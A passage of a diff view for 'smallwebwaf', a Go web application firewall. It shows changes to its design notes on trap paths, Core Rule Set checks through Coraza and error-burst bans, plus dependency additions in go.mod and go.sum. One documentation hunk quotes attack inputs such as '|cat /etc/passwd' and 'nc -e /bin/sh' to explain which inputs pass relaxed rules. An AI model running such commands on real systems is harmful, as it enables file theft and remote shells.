answered `401`, in `observe` mode too. While the token is unset, each of these answered `401`, in `observe` mode too, and counts toward the error burst, as one
for the metrics without theirs does. While the token is unset, each of these
answers `404`, as does any request under `/_smallwebwaf/` that is not for one of answers `404`, as does any request under `/_smallwebwaf/` that is not for one of
its endpoints. Like the metrics, these requests go through every check any other its endpoints. Like the metrics, these requests go through every check any other
request goes through, and are answered where another would be passed to the app: request goes through, and are answered where another would be passed to the app:
@@ -1679,13 +1876,14 @@ For each request `smallwebwaf`:
- picks the client's limit percentage from those; - picks the client's limit percentage from those;
- checks the minute, hour and day request counters against the limits, and bans - checks the minute, hour and day request counters against the limits, and bans
the client if it breaks one; the client if it breaks one;
- checks the request against the rule files and the Core Rule Set, and bans the - checks the request against the trap paths, the rule files and the Core Rule
client at once for a clear sign of attack; Set, and bans the client at once for a clear sign of attack;
- forwards it to the app and streams the response back, within the size and time - forwards it to the app and streams the response back, within the size and time
limits; limits;
- counts the bytes and any refusal by the rule files or the Core Rule Set, bans - counts the bytes and any refusal by the trap paths, the rule files or the Core
the client if it broke a limit, updates its history and the anomaly counters, Rule Set or for a missing or wrong token, bans the client if it broke a limit,
sends any alerts that are due, and writes the log line. updates its history and the anomaly counters, sends any alerts that are due,
and writes the log line.
A minimal deployment is the app's own Dockerfile, built on the `smallwebwaf` A minimal deployment is the app's own Dockerfile, built on the `smallwebwaf`
image, with no setting. That image is built on Ubuntu 26.04 LTS, the newest image, with no setting. That image is built on Ubuntu 26.04 LTS, the newest
@@ -1948,12 +2146,12 @@ addresses sends, so that one client costs at most one check every
Only a client whose history counts an offence is checked, so that the checks are Only a client whose history counts an offence is checked, so that the checks are
spent on suspects: so far, one that has broken a rate limit or a byte limit, spent on suspects: so far, one that has broken a rate limit or a byte limit,
matched a ban rule, or had a request refused by a block rule. A client dropped matched a ban rule, or had a request refused by a block rule or the Core Rule
from the table of clients loses its history, and with it its offences. A client Set. A client dropped from the table of clients loses its history, and with it
is checked in the background, at its first request after its offence that its offences. A client is checked in the background, at its first request after
reaches the check: no request waits, a request refused under its ban is not its offence that reaches the check: no request waits, a request refused under
checked, and the request that has it checked, and any other from it before the its ban is not checked, and the request that has it checked, and any other from
answer comes, goes on as from a client without a score. it before the answer comes, goes on as from a client without a score.
A score at or over `SWWAF_ABUSEIPDB_MIN_SCORE`, 75 by default, is a hit, and A score at or over `SWWAF_ABUSEIPDB_MIN_SCORE`, 75 by default, is a hit, and
`SWWAF_REPUTATION_ACTION` says what is done with its client, as for a DNSBL `SWWAF_REPUTATION_ACTION` says what is done with its client, as for a DNSBL
@@ -2000,12 +2198,13 @@ The list is fetched again a minute after it was last fetched or tried, the fetch
failed or not, and is kept as a blocklist is (see "Blocklists" above): its last failed or not, and is kept as a blocklist is (see "Blocklists" above): its last
good copy, the engine's answer as it came, stays in use while a fetch fails, and good copy, the engine's answer as it came, stays in use while a fetch fails, and
`reputation.json` keeps it with the time it was fetched, so that a restart keeps `reputation.json` keeps it with the time it was fetched, so that a restart keeps
it in use too. A fetch fails when the engine answers other than `200`, such as it in use too. A fetch fails when the engine answers other than `200`, a
`403` for a key it does not know, when it does not finish within a minute, when redirect included, such as `403` for a key it does not know, when it does not
the answer is longer than 16 MiB or is not a JSON list of decisions, or when a finish within a minute, when the answer is longer than 16 MiB or is not a JSON
decision to ban gives a value that is not an address or a netblock, or a list of decisions, or when a decision to ban gives a value that is not an
`duration` that does not read. A failure is counted, logged and raised as a address or a netblock, or a `duration` that does not read. A failure is counted,
`source_failure` alert, held back as a repeat within `SWWAF_ALERT_COOLDOWN`. logged and raised as a `source_failure` alert, held back as a repeat within
`SWWAF_ALERT_COOLDOWN`.
The decisions of the type `ban` on an address or a netblock, the scopes `Ip` and The decisions of the type `ban` on an address or a netblock, the scopes `Ip` and
`Range`, are used; any other, such as one to show a captcha or one on a country, `Range`, are used; any other, such as one to show a captcha or one on a country,
@@ -2053,14 +2252,19 @@ alerts, the metrics nor `reputation.json` hold it. Given as a file, with
request is refused before anything reaches the app: for `SWWAF_DENY_NETS`, for request is refused before anything reaches the app: for `SWWAF_DENY_NETS`, for
a ban, for the country lists, for a blocklist, for the CrowdSec decision list, a ban, for the country lists, for a blocklist, for the CrowdSec decision list,
which bans the client, for a DNSBL zone's verdict, for AbuseIPDB's score, for which bans the client, for a DNSBL zone's verdict, for AbuseIPDB's score, for
a rate limit, which bans the client, for a `block` or `ban` rule, the latter a rate limit, which bans the client, for a trap path, which bans the client,
banning the client, and for an announced body over the size limit; in for a `block` or `ban` rule, the latter banning the client, for a Core Rule
`observe` mode, only for the size limit, with what it would have refused for Set match in `block` mode, for a body that passes the size limit or
noted in the log line. A request under `/_smallwebwaf/` that `check` lets `SWWAF_CLIENT_REQUEST_TIMEOUT` while the Core Rule Set reads it, and for an
through is answered by `answerAdmin` instead of reaching the app. Once the announced body over the size limit; in `observe` mode, only for the last two,
answer to a request passed to the app has ended, `countBytes` counts its bytes with what it would have refused for noted in the log line. A request under
for the byte limits, and once any request but the health check has ended, `/_smallwebwaf/` that `check` lets through is answered by `answerAdmin`
`countAnomalies` counts it for the anomaly thresholds. instead of reaching the app. Once the answer to a request passed to the app
has ended, `countBytes` counts its bytes for the byte limits, and once any
request but the health check has ended, `countRefusal` counts it for the error
burst if it was refused after a rule file match, a trap path or a Core Rule
Set match or for its token, and `countAnomalies` counts it for the anomaly
thresholds.
- `internal/metrics`: the metrics, counted as the other parts tell it what - `internal/metrics`: the metrics, counted as the other parts tell it what
happened, and served in the Prometheus text format. happened, and served in the Prometheus text format.
- `internal/bans`: the ban ledger: each netblock's bans with their notes, how - `internal/bans`: the ban ledger: each netblock's bans with their notes, how
@@ -2068,6 +2272,9 @@ alerts, the metrics nor `reputation.json` hold it. Given as a file, with
and which ban `smallwebwaf` made is dropped when `SWWAF_MAX_BANS` are held. and which ban `smallwebwaf` made is dropped when `SWWAF_MAX_BANS` are held.
- `internal/rules`: reads the rule files at start and again as they change, and - `internal/rules`: reads the rule files at start and again as they change, and
tells which of their rules a request matches. tells which of their rules a request matches.
- `internal/waf`: the Core Rule Set with the six changes, as Coraza's own
directives, and what it finds in a request's method, URL, headers and the part
of its body it reads: the rules that matched and the anomaly score.
- `internal/lookup`: looks up each client's AS number and country through GeoJS, - `internal/lookup`: looks up each client's AS number and country through GeoJS,
keeps the answers, and hands each new one to the proxy, which adds it to the keeps the answers, and hands each new one to the proxy, which adds it to the
client's history and to the notes of its bans; or in the lookup database, client's history and to the notes of its bans; or in the lookup database,
@@ -2082,9 +2289,9 @@ alerts, the metrics nor `reputation.json` hold it. Given as a file, with
tells which zones' verdicts list an address; and checks clients with AbuseIPDB tells which zones' verdicts list an address; and checks clients with AbuseIPDB
in the background, keeps their scores and the checks spent today, and tells in the background, keeps their scores and the checks spent today, and tells
whether a client's score is a hit. whether a client's score is a hit.
- `internal/ratelimit`: the table of clients: counts each client's requests and - `internal/ratelimit`: the table of clients: counts each client's requests,
bytes, tells when they take it over a rate limit or a byte limit, and keeps bytes and refusals, tells when they take it over a rate limit, a byte limit or
each client's history. the error burst, and keeps each client's history.
- `internal/anomaly`: the anomaly counters: counts each request and its bytes - `internal/anomaly`: the anomaly counters: counts each request and its bytes
per client, per netblock around a client, per AS number, for the whole service per client, per netblock around a client, per AS number, for the whole service
and per named netblock, in the buckets `internal/ratelimit` counts in, and and per named netblock, in the buckets `internal/ratelimit` counts in, and
@@ -2117,8 +2324,10 @@ the ban to drop past `SWWAF_MAX_BANS`, and `github.com/prometheus/client_golang`
keeps the metrics and serves them, and `github.com/fsnotify/fsnotify` tells keeps the metrics and serves them, and `github.com/fsnotify/fsnotify` tells
`smallwebwaf` when a state file or a rule file is saved, or the lookup database `smallwebwaf` when a state file or a rule file is saved, or the lookup database
replaced, and `github.com/oschwald/maxminddb-golang/v2` reads the lookup replaced, and `github.com/oschwald/maxminddb-golang/v2` reads the lookup
database, which the tests write with `github.com/maxmind/mmdbwriter`. The database, which the tests write with `github.com/maxmind/mmdbwriter`, and
country codes are the list in `internal/config/config.go`. `github.com/corazawaf/coraza/v3` runs the Core Rule Set 4.25.0, which
`github.com/corazawaf/coraza-coreruleset/v4` at `v4.25.0` carries. The country
codes are the list in `internal/config/config.go`.
## Entrypoints ## Entrypoints
+6 -4
View File
@@ -618,10 +618,12 @@ The settings, by group:
`|cat /etc/passwd`, `wget http://…` and `nc -e /bin/sh …`, and `|cat /etc/passwd`, `wget http://…` and `nc -e /bin/sh …`, and
`file:///etc/passwd`, pass as well. Path traversal (`../`), SQL and `file:///etc/passwd`, pass as well. Path traversal (`../`), SQL and
script injection and PHP, Java and Node.js code are still refused script injection and PHP, Java and Node.js code are still refused
there, and every other parameter keeps all three rules. An app that there, and every other parameter keeps all three rules. These names,
uses one of these parameters as a file on the server, or passes it to and `redirect_uri` in the change before, are matched without regard to
a shell, gets no help from the three rules there (see "Risks the case, as Coraza matches them, so `Path` or `PATH` is treated as
design has to handle"). `path`. An app that uses one of these parameters as a file on the
server, or passes it to a shell, gets no help from the three rules
there (see "Risks the design has to handle").
- The Core Rule Set reads the request without the `gitea_flash` and - The Core Rule Set reads the request without the `gitea_flash` and
`redirect_to` cookies, and does not check `Referer` for a Unix command `redirect_to` cookies, and does not check `Referer` for a Unix command
given without arguments (932340) or for Java starting a process given without arguments (932340) or for Java starting a process
+19
View File
@@ -3,6 +3,8 @@ module sneak.berlin/go/smallwebwaf
go 1.26.0 go 1.26.0
require ( require (
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
github.com/corazawaf/coraza/v3 v3.8.1
github.com/fsnotify/fsnotify v1.10.1 github.com/fsnotify/fsnotify v1.10.1
github.com/hashicorp/golang-lru/v2 v2.0.7 github.com/hashicorp/golang-lru/v2 v2.0.7
github.com/maxmind/mmdbwriter v1.2.0 github.com/maxmind/mmdbwriter v1.2.0
@@ -13,12 +15,29 @@ require (
require ( require (
github.com/beorn7/perks v1.0.1 // indirect github.com/beorn7/perks v1.0.1 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/corazawaf/libinjection-go v0.3.3 // indirect
github.com/goccy/go-json v0.10.5 // indirect
github.com/goccy/go-yaml v1.19.2 // indirect
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 // indirect
github.com/kaptinlin/go-i18n v0.1.4 // indirect
github.com/kaptinlin/jsonschema v0.4.6 // indirect
github.com/kylelemons/godebug v1.1.0 // indirect github.com/kylelemons/godebug v1.1.0 // indirect
github.com/magefile/mage v1.17.0 // indirect
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
github.com/prometheus/client_model v0.6.2 // indirect github.com/prometheus/client_model v0.6.2 // indirect
github.com/prometheus/common v0.70.1 // indirect github.com/prometheus/common v0.70.1 // indirect
github.com/prometheus/procfs v0.21.1 // indirect github.com/prometheus/procfs v0.21.1 // indirect
github.com/tidwall/gjson v1.18.0 // indirect
github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.1 // indirect
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/net v0.58.0 // indirect
golang.org/x/sync v0.23.0 // indirect
golang.org/x/sys v0.48.0 // indirect golang.org/x/sys v0.48.0 // indirect
golang.org/x/text v0.41.0 // indirect
google.golang.org/protobuf v1.36.11 // indirect google.golang.org/protobuf v1.36.11 // indirect
rsc.io/binaryregexp v0.2.0 // indirect
) )
+55
View File
@@ -2,22 +2,54 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY=
github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o=
github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c=
github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc=
github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho= github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo= github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 h1:b70jEaX2iaJSPZULSUxKtm73LBfsCrMsIlYCUgNGSIs=
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976/go.mod h1:ZGQeOwybjD8lkCjIyJfqR5LD2wMVHJ31d6GdPxoTsWY=
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 h1:c7gcNWTSr1gtLp6PyYi3wzvFCEcHJ4YRobDgqmIgf7Q=
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092/go.mod h1:ZZAN4fkkful3l1lpJwF8JbW41ZiG9TwJ2ZlqzQovBNU=
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
github.com/jcchavezs/mergefs v0.1.1 h1:D45R17m6dHnSVZefnhynoeZvcK2Uw0oTrRfoUOQ0S5Y=
github.com/jcchavezs/mergefs v0.1.1/go.mod h1:eRLTrsA+vFwQZ48hj8p8gki/5v9C2bFtHH5Mnn4bcGk=
github.com/kaptinlin/go-i18n v0.1.4 h1:wCiwAn1LOcvymvWIVAM4m5dUAMiHunTdEubLDk4hTGs=
github.com/kaptinlin/go-i18n v0.1.4/go.mod h1:g1fn1GvTgT4CiLE8/fFE1hboHWJ6erivrDpiDtCcFKg=
github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPsI1T64=
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk= github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ= github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
github.com/magefile/mage v1.17.0/go.mod h1:Yj51kqllmsgFpvvSzgrZPK9WtluG3kUhFaBUVLo4feA=
github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM= github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM=
github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE= github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE=
github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U= github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U=
github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g= github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g=
github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 h1:Vpr4VgAizEgEZsaMohpw6JYDP+i9Of9dmdY4ufNP6HI=
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745/go.mod h1:EHPiTAKtiFmrMldLUNswFwfZ2eJIYBHktdaUTZxYWRw=
github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU= github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU=
github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE= github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE=
github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk= github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
@@ -28,6 +60,15 @@ github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY= github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE= github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg= github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/valllabh/ocsf-schema-golang v1.0.3 h1:eR8k/3jP/OOqB8LRCtdJ4U+vlgd/gk5y3KMXoodrsrw=
github.com/valllabh/ocsf-schema-golang v1.0.3/go.mod h1:sZ3as9xqm1SSK5feFWIR2CuGeGRhsM7TR1MbpBctzPk=
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ= go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ=
@@ -36,7 +77,21 @@ go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw=
go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg= go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg=
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M= go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y= go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo= golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og= golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU=
golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0=
google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE= google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
rsc.io/binaryregexp v0.2.0 h1:HfqmD5MEmC0zvwBuF187nq9mdnXjXsSivRiXN7SmRkE=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
+3 -1
View File
@@ -44,7 +44,9 @@ const (
